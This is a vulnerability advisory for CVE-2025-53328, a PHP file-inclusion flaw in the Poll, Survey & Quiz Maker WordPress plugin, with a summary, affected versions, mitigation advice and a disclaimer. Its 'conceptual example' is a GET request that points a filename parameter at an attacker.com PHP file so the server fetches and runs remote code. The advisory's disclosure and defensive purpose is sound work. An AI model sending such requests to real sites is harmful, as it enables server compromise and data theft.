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CVE-2025-53328: PHP Remote File Inclusion Vulnerability in Poll, Survey & Quiz Maker Plugin

Overview

The PHP Remote File Inclusion vulnerability, identified as CVE-2025-53328, impacts the plugin ‘Poll, Survey & Quiz Maker’ by Opinion Stage. This vulnerability is due to the improper control of the filename for Include/Require Statement in the PHP program, which consequently allows PHP Local File Inclusion. This issue is of significance because it could potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53328
Severity: High (CVSS:7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

Poll, Survey & Quiz Maker Plugin by Opinion Stage | all versions through 19.11.0

How the Exploit Works

The vulnerability is present due to an improper check on the filename in the Include/Require statement of the PHP program. An attacker can exploit this vulnerability by inducing the application to include a file from a remote server. This file can contain malicious PHP code, which when executed, could lead to unauthorized system access or data leakage.

Conceptual Example Code

Given the nature of the vulnerability, an attacker might use a request like the one below to exploit it:

GET /path/to/vulnerable/plugin.php?filename=http://attacker.com/malicious-file.php HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to use the ‘filename’ parameter to inject a malicious file into the server. The server, if vulnerable, would then download and execute the malicious PHP script, potentially compromising the system.

Mitigation

It is recommended to apply the vendor patch as soon as it is available to mitigate this vulnerability. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. Regularly updating and patching systems, together with monitoring for unusual network activity, can also help reduce the risk of exploitation.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
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